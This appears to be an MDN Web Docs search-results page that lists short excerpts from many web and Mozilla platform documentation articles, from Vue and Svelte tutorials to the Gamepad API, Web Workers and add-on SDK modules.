...when compiled (using a tool like babel or parcel), our header expression would look like this: const header = react.createelement("header", null, react.createelement("h1", null, "mozilla developer network") ); it's possible to skip the compilation step and use react.createelement() to write your ui yourself.
...And 17 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
update your template as follows: <template> <form> <label for="new-todo-input"> what needs to be done?
... </label> <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" /> <button type="submit"> add </button> </form> </template> so we now have a form component into which we can enter the title of a new todo item (which will become a label for the corresponding todoitem when it is eventually rendered).
...mponents/todoform'; you also need to register the new component in your app component — update the components property of the component object so that it looks like this: components: { todoitem, todoform } finally for this section, render your todoform component inside your app by adding the <to-do-form /> element inside your app's <template>, like so: <template> <div id="app"> <h1>my to-do list</h1> <to-do-form></to-do-form> <ul> <li v-for="item in todoitems" :key="item.id"> <to-do-item :label="item.label" :done="item.done" :id="item.id"></to-do-item> </li> </ul> </div> </template> now when you view your running site, you should see the new form displayed.
...And 17 more matches
How to implement a custom autocomplete search component
there are actually two autocomplete mechanisms: an older mechanism that is part of the "xpfe" codebase and is used in older applications such as thunderbird and seamonkey.
... a newer and slightly simplified mechanism that is used in "toolkit" applications such as firefox and xulrunner.
... to use autocomplete with a xul textbox, all you need to do is set some attributes: <textbox type="autocomplete" autocompletesearch="history"/> the type="autocomplete" turns on the autocomplete mechanism and the autocompletesearch="history" sets the source for the autocomplete.
...And 17 more matches
OS.File for the main thread
using os.file from a jsm to import os.file into your chrome code, add the following line at the start of your script: components.utils.import("resource://gre/modules/osfile.jsm") promises before using os.file from the main thread, you need some understanding of the promise library.
... example: read the contents of a file as text the following snippet opens a file "file.txt" and read its contents as a string, using the default encoding (utf-8).
... let decoder = new textdecoder(); // this decoder can be reused for several reads let promise = os.file.read("file.txt"); // read the complete file as an array promise = promise.then( function onsuccess(array) { return decoder.decode(array); // convert this array to a text } ); this example requires firefox 18 or a more recent version.
...And 17 more matches
How to embed the JavaScript engine
spidermonkey 24 // following code might be needed in some case // #define __stdc_limit_macros // #include <stdint.h> #include "jsapi.h" /* the class of the global object.
... */ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, }; int main(int argc, const char *argv[]) { jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
...ant to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+new date()"; const char *filename = "noname"; int lineno = 1; bool ok = js_evaluatescript(cx, global, script, strlen(script), filename, lineno, rval.address()); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_destroyruntime(rt...
...And 17 more matches
nsIHttpChannel
inherits from: nsichannel last changed in gecko 1.3 to create an http channel, use nsiioservice with a http uri, for example: var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var ch = ios.newchannel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); ...
... note: the channel may silently refuse to set the referer: header if the uri does not pass certain security checks (e.g., a "https://" url will never be sent as the referrer for a plaintext http request).
... requestmethod acstring set or get the http request method (default is "get").
...And 17 more matches
Mail composition back end
pizzarro <rhp@netscape.com> contents overview sending messages nsimsgsend sending listener interfaces nsimsgsendlistener nsimsgcopyservicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample programs overview i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them.
...a "sent" folder) as well as the ability to store messages for features like "drafts" and "templates".
...the mode of delivery can also be specified for the "send later", "drafts" and "templates" operations.
...And 17 more matches
Add to iPhoto
once installed, when you right-click on an image, you'll see among the options in the contextual menu an option to "add image to iphoto".
... initializing core foundation the init() method, which sets everything up, looks like this: init: function() { this.lib = ctypes.open("/system/library/frameworks/corefoundation.framework/corefoundation"); // declaring all the apis goes here } shutting down core foundation while the core foundation system framework itself doesn't need to be shut down, we do need to close the library we opened using the js-ctypes api; that's where the shutdown() method comes in: shutdown: function() { this.lib.close(); } select api decla...
...in c, the declaration looks like this: typedef struct { cfindex location; cfindex length; } cfrange; to declare this for use with js-ctypes, we use the following code: this.cfrange = new ctypes.structtype("cfrange", [ {'location': ctypes.int32_t}, {'length': ctypes.int32_t}]); this defines corefoundation.cfrange to represent this data type, comprised of two 32-bit integer fields called location and length.
...And 17 more matches
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
for example, setting fill to "none" means the animation's effects are not applied to the element if the current time is outside the range of times during which the animation is running, while "forwards" ensures that once the animation's end time has been passed, the element will continue to be drawn in the state it was in at its last rendered frame.
... syntax var timingproperties = { fill: "none" | "forwards" | "backwards" | "both" | "auto" } value a domstring indicating the fill type to use in order to properly render an affected element when outside the animation's active interval (that is, when it's not actively animating).
... the default is "auto".
...And 17 more matches
EventTarget.addEventListener() - Web APIs
passivesupported = true; return false; } }; window.addeventlistener("test", null, options); window.removeeventlistener("test", null, options); } catch(err) { passivesupported = false; } this creates an options object with a getter function for the passive property; the getter sets a flag, passivesupported, to true if it gets called.
... then, when you want to create an actual event listener that uses the options in question, you can do something like this: someelement.addeventlistener("mouseup", handlemouseup, passivesupported ?
... html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the content of t2 function modifytext() { const t2 = document.getelementbyid("t2"); if (t2.firstchild.nodevalue == "three") { t2.firstchild.nodevalue = "two"; } else { t2.firstchild.nodevalue = "three"; } } // add event listener to table const el = document.getele...
...And 17 more matches
Color picker tool - CSS: Cascading Style Sheets
colorpicker tool html <div id="container"> <div id="palette" class="block"> <div id="color-palette"></div> <div id="color-info"> <div class="title"> css color </div> </div> </div> <div id="picker" class="block"> <div class="ui-color-picker" data-topic="picker" data-mode="hsl"></div> <div id="picker-samples" sample-id="master"></div> <div id="controls"> <div id="delete"> <div id="trash-can"></div> </div> <div id="void-sample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" ...
...data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; background: -moz-linear-gradient(bottom, #000 0...
...0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background-color: #f00; } .ui-color-picker .picker { width: 10px; height: 10px; border-radius: 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px; content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background: url("https://mdn.mozillademos.org/files/5701/hue.png") center; background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00...
...And 17 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.
... to link an external stylesheet, you'd include a <link> element inside your <head> like this: <link href="main.css" rel="stylesheet"> this simple example provides the path to the stylesheet inside an href attribute, and a rel attribute with a value of stylesheet.
... the rel stands for "relationship", and is probably one of the key features of the <link> element — the value denotes how the item being linked to is related to the containing document.
...And 17 more matches
itemprop - HTML: Hypertext Markup Language
html <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">trailer</a> </div> structured data item itemprop name itemprop value itempro...
... three properties with values that are strings <div itemscope> <p>my name is <span itemprop="name">neil</span>.</p> <p>my band is called <span itemprop="band">four parts water</span>.</p> <p>i am <span itemprop="nationality">british</span>.</p> </div> one property, "image", whose value is a url <div itemscope> <img itemprop="image" src="google-logo.png" alt="google"> </div> when a string value can't be easily read and understood by a person (e.g., a long string of numbers a...
... <h1 itemscope> <data itemprop="product-id" value="9678aou879">the instigator 2000</data> </h1> for numeric data, the meter element and its value attribute can be used.
...And 17 more matches
Details of the object model - JavaScript
a simple object hierarchy with the following objects: employee has the properties name (whose value defaults to the empty string) and dept (whose value defaults to "general").
...it also overrides the dept property with the value "sales", indicating that all salespersons are in the same department.
...it adds the machine property (whose value defaults to the empty string) and also overrides the dept property with the value "engineering".
...And 17 more matches
eval() - JavaScript
you can postpone evaluation of an expression involving x by assigning the string value of the expression, say "3 * x + 2", to a variable, and then calling eval() at a later point in your script.
... eval(new string('2 + 2')); // returns a string object containing "2 + 2" eval('2 + 2'); // returns 4 you can work around this limitation in a generic fashion by using tostring().
... bad code with eval(): function loosejsonparse(obj){ return eval("(" + obj + ")"); } console.log(loosejsonparse( "{a:(4-1), b:function(){}, c:new date()}" )) better code without eval(): function loosejsonparse(obj){ return function('"use strict";return (' + obj + ')')(); } console.log(loosejsonparse( "{a:(4-1), b:function(){}, c:new date()}" )) comparing the two code snippets above, the two code snippets might seem to work the same way, but think ...
...And 17 more matches
passwords - Archive of obsolete content
you can store different sorts of credentials, as outlined in the "credentials" section below.
... the realm is displayed in firefox's password manager, under "site", in brackets after the url.
... for example, if the realm for a credential is "user registration", then its "site" field will look something like: addon:jid0-01mbbfyu0zaxcfub1jykoostkic (user registration) html form credential if a web service uses html forms to authenticate its users, then the corresponding credential is an html form credential.
...And 16 more matches
cfx - Archive of obsolete content
cfx usage is: cfx [options] command [command-specific options] "options" are global options applicable to the tool itself or to all commands (for example --help).
... cfx supports the following global options: -h, --help - show a help message and exit -v, --verbose - enable lots of output "command-specific options" are documented alongside the commands.
... cfx init create a new directory called "my-addon", change into it, and run cfx init.
...And 16 more matches
JavaScript Object Management - Archive of obsolete content
*/ if (typeof 〈namespace〉 == "undefined") { var 〈namespace〉 = {}; }; note: the naming standard that we normally follow is that the first part of the namespace corresponds to the development group (or company), and the second to the specific project.
... */ if (typeof 〈namespace〉 == "undefined") { var 〈namespace〉 = { /** * initializes this object.
... */ init : function() { this.obsservice = cc["@mozilla.org/observer-service;1"].getservice(ci.nsiobserverservice); } }; 〈namespace〉.init(); }; js objects can also be treated as string-indexed arrays: // equivalent.
...And 16 more matches
URIs and URLs - Archive of obsolete content
resources are identified by uri "uniform resource identifier" (taken from rfc 2396): uniform uniformity provides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanisms used to access those resources may differ; it allows uniform semantic interpretation of common syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different cont...
...familiar examples include an electronic document, an image, a service (e.g., "today's weather report for los angeles"), and a collection of other resources.
... not all resources are network "retrievable"; e.g., human beings, corporations, and bound books in a library can also be considered resources.
...And 16 more matches
Venkman Introduction - Archive of obsolete content
first, from within the browser you want to host the debugger application, visit the firefox add-ons page and click on the "install" link for the most recent version.
... (note that venkman displays usage data when it starts up: "recorded local startup x, global yyy." this data comes from a counter built in to the application.
...the scripts that have been loaded by the javascript engine appear in the loaded scripts window (for more information about how scripts are loaded and accessed in venkman, see "loading scripts into the debugger").
...And 16 more matches
LiveConnect Overview - Archive of obsolete content
for example, you can create a java string object and assign it to the javascript variable mystring by using the new operator with the java constructor, as follows: var mystring = new java.lang.string("hello world"); in the previous example, the variable mystring is a javaobject because it holds an instance of the java object string.
...for example, you can use the following: var mystring = new java.lang.string("hello world"); instead of the longer version: var mystring = new packages.java.lang.string("hello world"); working with java arrays when any java method creates an array and you reference that array in javascript, you are working with a javaarray.
...there are cases where liveconnect will fail to load a class, and you will need to manually load it like this: var widgetry = java.lang.thread.currentthread().getcontextclassloader().loadclass("org.mywidgets.widgetry"); in javascript 1.3 and earlier, javaclass objects are not automatically converted to instances of java.lang.class when you pass them as parameters to java methods—you must create a wrapper around an instance of java.lang.class.
...And 16 more matches
Windows Media in Netscape - Archive of obsolete content
here is a code snippet that shows this: var player; try { if (window.activexobject) { player = new activexobject("mediaplayer.mediaplayer.1"); } else if (window.geckoactivexobject) { player = new geckoactivexobject("mediaplayer.mediaplayer.1"); } else { // plugin code using navigator.mimetypes player = navigator.mimetypes["application/x-mplayer2"].enabledplugin; } } catch(e) { // handle error -- no wmp control // download: http://www.microsoft.com/windows/windowsmedia/download/default.
...for the sake of brevity, we've made the following code snippet shorter to illustrate the relevant points about the api: var player; try { if(window.activexobject) { player = new activexobject("wmplayer.ocx.7"); } else if (window.geckoactivexobject) { player = new geckoactivexobject("wmplayer.ocx.7"); } } catch(e) { // handle error -- no wmp 7 or 9 control // can use wmp 6 also if necessary, but this is legacy software nowadays } if (player) { // windows media player control exists and it is version 7 or 9 // can use wmp 7 or 9 api -- call versioninfo property, only in 7...
... here is a snippet of code that illustrates the use of classids with geckoactivexobject: function creategeckowmpobject(clid) { var player = null; try { player = new geckoactivexobject(clid); } catch(e) { ; } return player; } // instantiate players wmp7or9 = creategeckowmpobject("{6bf52a52-394a-11d3-b153-00c04f79faa6}"); if (!wmp7or9) { wmp64 = creategeckowmpobject("{22d6f312-b0f6-11d0-94ab-0080c74c7e95}"); } .....
...And 16 more matches
How to structure a web form - Learn web development
here is a little example: <form> <fieldset> <legend>fruit juice size</legend> <p> <input type="radio" name="size" id="size_1" value="small"> <label for="size_1">small</label> </p> <p> <input type="radio" name="size" id="size_2" value="medium"> <label for="size_2">medium</label> </p> <p> <input type="radio" name="size" id="size_3" value="large"> <label for="size_3">large</label> </p> </fieldset> </form> note: you can find this example in ...
... when reading the above form, a screen reader will speak "fruit juice size small" for the first widget, "fruit juice size medium" for the second, and "fruit juice size large" for the third.
...take this example, which we saw in the previous article: <label for="name">name:</label> <input type="text" id="name" name="user_name"> with the <label> associated correctly with the <input> via its for attribute (which contains the <input> element's id attribute), a screenreader will read out something like "name, edit text".
...And 16 more matches
Starting our Svelte Todo list app - Learn web development
the console should currently give you a message along the lines of "<app> was created with unknown prop 'name'".
...copy and paste the following into our todos.svelte component file, replacing the existing content: <!-- todos.svelte --> <div class="todoapp stack-large"> <!-- newtodo --> <form> <h2 class="label-wrapper"> <label for="todo-0" class="label__lg"> what needs to be done?
... </label> </h2> <input type="text" id="todo-0" autocomplete="off" class="input input__lg" /> <button type="submit" disabled="" class="btn btn__primary btn__lg"> add </button> </form> <!-- filter --> <div class="filters btn-group stack-exception"> <button class="btn toggle-btn" aria-pressed="true"> <span class="visually-hidden">show</span> <span>all</span> <span class="visually-hidden">tasks</span> </button> <button class="btn toggle-btn" aria-pressed="false"> <span class="visually-hidden">show</span> <span>active</span> <span class="visually-hidden">tasks</span> </button> <button class="btn toggle-btn" aria-pressed="false"> <span class="visually-hidden">show</span> <span>completed</s...
...And 16 more matches
Vue conditional rendering: editing existing todos - Learn web development
copy the following code into that file: <template> <form class="stack-small" @submit.prevent="onsubmit"> <div> <label class="edit-label">edit name for &quot;{{label}}&quot;</label> <input :id="id" type="text" autocomplete="off" v-model.lazy.trim="newlabel" /> </div> <div class="btn-group"> <button type="button" class="btn" @click="oncancel"> cancel <span class="visually-hidden">editing {{label}}</span> </butt...
...on> <button type="submit" class="btn btn__primary"> save <span class="visually-hidden">edit for {{label}}</span> </button> </div> </form> </template> <script> export default { props: { label: { type: string, required: true }, id: { type: string, required: true } }, data() { return { newlabel: this.label }; }, methods: { onsubmit() { if (this.newlabel && this.newlabel !== this.label) { this.$emit("item-edited", this.newlabel); } }, oncancel() { this.$emit("edit-cancelled"); } } }; </script> <style scoped> .edit-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #0b0c0c; disp...
... there is a "save" button and a "cancel" button: when the "save" button is clicked, the component emits the new label via an item-edited event.
...And 16 more matches
Localizing without a specialized tool
if you click on the highlighted arrow pointing down while reading this tutorial on mdc, you will see two string that need to be translated: add "mdc search" manage search engines...
... folder structure throughout this document, we will be using the following folder structure in all examples: your working directory (root) mozilla-1.9.2 (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-1.9.2) l10n-mozilla-1.9.2 (a directory containing localization directories, one dir per localization; often referred to as "l10n base") x-testing (a directory with your localization files) please either follow this structure closely or adjust all commands in the documentation as needed by your custom set-up.
...this will automatically create an "x-testing" directory in your current directory (you should be in l10n-mozilla-1.9.2).
...And 16 more matches
AsyncTestUtils extended framework
boilerplate add the following code to the top of your test file to import everything you need: load("../../mailnews/resources/loghelper.js"); load("../../mailnews/resources/asynctestutils.js"); load("../../mailnews/resources/messagegenerator.js"); load("../../mailnews/resources/messagemodifier.js"); load("../../mailnews/resources/messageinjection.js"); if the directory where you are adding the tests does not have a head_*.js file that has the two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load(...
..."../../mailnews/resources/mailtestutils.js"); at the bottom of the test file, add the following: var tests =[ // list your tests here ]; function run_test() { configure_message_injection({mode: "local"}); async_run_tests(tests); } asynchronous testing basics why do we need it?
... in the mozilla platform, the "top level" of a program is the event loop.
...And 16 more matches
Working with windows in chrome code
opening windows from a <script> in a window or an overlay to open a new window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents.
... var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen", null); window object note the win variable in the above section, which is assigned the return value of window.open.
... the content shortcut in case of <browser type="content-primary" />, you can use the content shortcut property to accesss the window object of the content document.
...And 16 more matches
Plug-in Basics - Plugins
type "about:plugins" in the location bar.
...by convention, all of the plug-in specific functions have the prefix "npp", and all of the browser-specific functions have the prefix "npn".
...i found other way how check which paths support firefox : $ strace -y /usr/bin/firefox 2>&1 | grep acces | grep -v search | grep plugins access("/home/user_name/.mozilla/firefox/dqh2nb5k.default-1441864569209/plugins", f_ok) = -1 enoent (no such file or directory) access("/home/user_name/.mozilla/plugins", f_ok) = -1 enoent (no such file or directory) access("/usr/lib64/firefox/browser/plugins", f_ok) = -1 enoent (no such file or directory) access("/usr/lib/mozilla/plugins", f_ok) = 0 this output i have after close firefox.
...And 16 more matches
Basic animations - Web APIs
x.rotate(((2 * math.pi) / 6) * time.getseconds() + ((2 * math.pi) / 6000) * time.getmilliseconds()); ctx.translate(0, 28.5); ctx.drawimage(moon, -3.5, -3.5); ctx.restore(); ctx.restore(); ctx.beginpath(); ctx.arc(150, 150, 105, 0, math.pi * 2, false); // earth orbit ctx.stroke(); ctx.drawimage(sun, 0, 0, 300, 300); window.requestanimationframe(draw); } init(); <canvas id="canvas" width="300" height="300"></canvas> screenshotlive sample an animated clock this example draws an animated clock, showing your current time.
..., 10, 0, math.pi * 2, true); ctx.stroke(); ctx.fillstyle = 'rgba(0, 0, 0, 0)'; ctx.arc(0, 0, 3, 0, math.pi * 2, true); ctx.fill(); ctx.restore(); ctx.beginpath(); ctx.linewidth = 14; ctx.strokestyle = '#325fa2'; ctx.arc(0, 0, 142, 0, math.pi * 2, true); ctx.stroke(); ctx.restore(); window.requestanimationframe(clock); } window.requestanimationframe(clock); <canvas id="canvas" width="150" height="150"></canvas> screenshotlive sample a looping panorama in this example, a panorama is scrolled left-to-right.
... <canvas id="canvas" width="800" height="200"></canvas> mouse following animation <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>document</title> <script> var cn; //= document.getelementbyid('c...
...And 16 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
example: creating an html table dynamically (sample1.html) html <input type="button" value="generate a table." onclick="generate_table()"> javascript function generate_table() { // get the reference for the body var body = document.getelementsbytagname("body")[0]; // creates a <table> element and a <tbody> element var tbl = document.createelement("table"); var tblbody = document.createelement("tbody"); // creating all cells for (var i = 0; i < 2; i++) { ...
... // creates a table row var row = document.createelement("tr"); for (var j = 0; j < 2; j++) { // create a <td> element and a text node, make the text // node the contents of the <td>, and put the <td> at // the end of the table row var cell = document.createelement("td"); var celltext = document.createtextnode("cell in row "+i+", column "+j); cell.appendchild(celltext); row.appendchild(cell); } // add the row to the end of the table body tblbody.appendchild(row); } // put the <tbody> in the <table> tbl.appendchild(tblbody); // appends <table> into <body> body.appendchild(tbl); // sets the border attribute of tbl to 2; tbl.setattribute("border", "2"); } note the order in which we created the elements and the...
...<table border="2"> <tbody> <tr><td>cell is row 0 column 0</td><td>cell is row 0 column 1</td></tr> <tr><td>cell is row 1 column 0</td><td>cell is row 1 column 1</td></tr> </tbody> </table> ...
...And 16 more matches
Using the Gamepad API - Web APIs
you can use gamepadconnected like this: window.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s.
... %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); each gamepad has a unique id associated with it, which is available on the event's gamepad property.
...gamepadconnected), a second event is dispatched to the focused window, gamepaddisconnected: window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); the gamepad's index property will be unique per-device connected to the system, even if multiple controllers of the same type are used.
...And 16 more matches
Drag Operations - Web APIs
to make other html elements draggable, three things must be done: set the draggable="true" on the element that you wish to make draggable.
... <p draggable="true" ondragstart="event.datatransfer.setdata('text/plain', 'this text may be dragged')"> this text <strong>may</strong> be dragged.
... </p> the draggable attribute is set to "true", so this element becomes draggable.
...And 16 more matches
Ajax navigation example - Web APIs
first_page.php: <?php $page_title = "first page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = true; ob_start(); } else { ?> <!doctype html> <html> <head> <?php include "include/header.php"; echo "<title>" .
..."</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>this paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>this is the content of <strong>first_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> second_page.php: <?php $page_title = "second page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = t...
...rue; ob_start(); } else { ?> <!doctype html> <html> <head> <?php include "include/header.php"; echo "<title>" .
...And 16 more matches
Intersection Observer API - Web APIs
implementing "infinite scrolling" web sites, where more and more content is loaded and rendered as you scroll, so that the user doesn't have to flip through pages.
... one thing the intersection observer api can't tell you: the exact number of pixels that overlap or specifically which ones they are; however, it covers the much more common use case of "if they intersect by somewhere around n%, i need to do something." intersection observer concepts and usage the intersection observer api allows you to configure a callback that is called: (1) whenever one element, called the target, intersects either the device viewport or a specified element; for the purpose of this api, this is called the root element or root (2) and whenever the observer i...
..."10px 20px 30px 40px" (top, right, bottom, left).
...And 16 more matches
SVGPathSeg - Web APIs
pathseg_closepath 1 corresponds to a "closepath" (z) path data command.
... pathseg_moveto_abs 2 corresponds to an "absolute moveto" (m) path data command.
... pathseg_moveto_rel 3 corresponds to a "relative moveto" (m) path data command.
...And 16 more matches
SubtleCrypto.unwrapKey() - Web APIs
the unwrapkey() method of the subtlecrypto interface "unwraps" a key.
... this means that it takes as its input a key that has been exported and then encrypted (also called "wrapped").
...this is sometimes called the "unwrapping key".
...And 16 more matches
Using Web Workers - Web APIs
note: when a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared.
...it accepts zero or more uris as parameters to resources to import; all of the following examples are valid: importscripts(); /* imports nothing */ importscripts('foo.js'); /* imports just "foo.js" */ importscripts('foo.js', 'bar.js'); /* imports two scripts */ importscripts('//example.com/hello.js'); /* you can import scripts from other origins */ the browser loads each listed script and executes it.
...ect console.log(typeof emulatemessage(example1)); // number // test #2 var example2 = true; console.log(typeof example2); // boolean console.log(typeof emulatemessage(example2)); // boolean // test #3 var example3 = new string('hello world'); console.log(typeof example3); // object console.log(typeof emulatemessage(example3)); // string // test #4 var example4 = { 'name': 'john smith', "age": 43 }; console.log(typeof example4); // object console.log(typeof emulatemessage(example4)); // object // test #5 function animal(stype, nage) { this.type = stype; this.age = nage; } var example5 = new animal('cat', 3); alert(example5.constructor); // animal alert(emulatemessage(example5).constructor); // object a value that is cloned and not shared is called message.
...And 16 more matches
Using CSS transitions - CSS: Cascading Style Sheets
transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color; -webkit-transition-duration: 0.5s; -webk...
...ont-size left top transform -webkit-transform color; -webkit-transition-duration: 0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height background-color font-size left top transform -webkit-transformv color; transition-duration: 0.5s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100p...
...lor font-size left top -webkit-transform transform color; -webkit-transition-duration: 1s; -webkit-transition-timing-function: ease-in-out; transition-property: width height background-color font-size left top transform -webkit-transform color; transition-duration: 1s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 2s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100p...
...And 16 more matches
Making content editable - Developer guides
<div contenteditable="true"> this text can be edited by the user.
...for example, to use <p> elements: document.execcommand("defaultparagraphseparator", false, "p"); additionally, firefox supports the non-standard argument, br, for defaultparagraphseparator since firefox 55.
...you can use the older firefox behavior with this line: document.execcommand("defaultparagraphseparator", false, "br"); security for security reasons, firefox doesn't let javascript code use clipboard related features (copy, paste, etc.) by default.
...And 16 more matches
Character classes - JavaScript
for example, /.y/ matches "my" and "ay", but not "yes", in "yes make my day".
... es2018 added the s "dotall" flag, which allows the dot to also match line terminators.
...for example, /\d/ or /[0-9]/ matches "2" in "b2 is the suite number".
...And 16 more matches
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
the "move to" command is called with the letter m.
...the first command is the "move to" or m, which was described above.
...the "move to" command appears at the beginning of paths to specify where the drawing should start.
...And 16 more matches
Using templates and slots - Web Components
let's look at a trivial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascript and then append it to the dom, using something like the following: let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; document.body.appendchild(templatecontent); although trivial, you can already start to see how this could...
... so for example: <template id="my-paragraph"> <style> p { color: white; background-color: #666; padding: 5px; } </style> <p>my paragraph</p> </template> now we can use it by just adding it to our html document: <my-paragraph></my-paragraph> note: templates are well-supported in browsers; the shadow dom api is supported by default in firefox (version 63 onwards), chrome, opera, safari, and ed...
... so, if we want to add a slot into our trivial example, we could update our template's paragraph element like this: <p><slot name="my-text">my default text</slot></p> if the slot's content isn't defined when the element is included in the markup, or if the browser doesn't support slots, <my-paragraph> just contains the fallback content "my default text".
...And 16 more matches
tabs - Archive of obsolete content
usage open a tab you can open a new tab, specifying various properties including location: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); track tabs you can register event listeners to be notified when tabs open, close, finish loading dom content, or are made active or inactive: var tabs = require("sdk/tabs"); // listen for tab openings.
...t: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.url); }); track a single tab given a tab, you can register event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("deactivate", logdeactivate); tab.on("close", logclose); } function logshow(tab) { console.log(tab.url + " is loaded"); } function logactivate(tab) { console.log(tab.url + " is activated"); } function ...
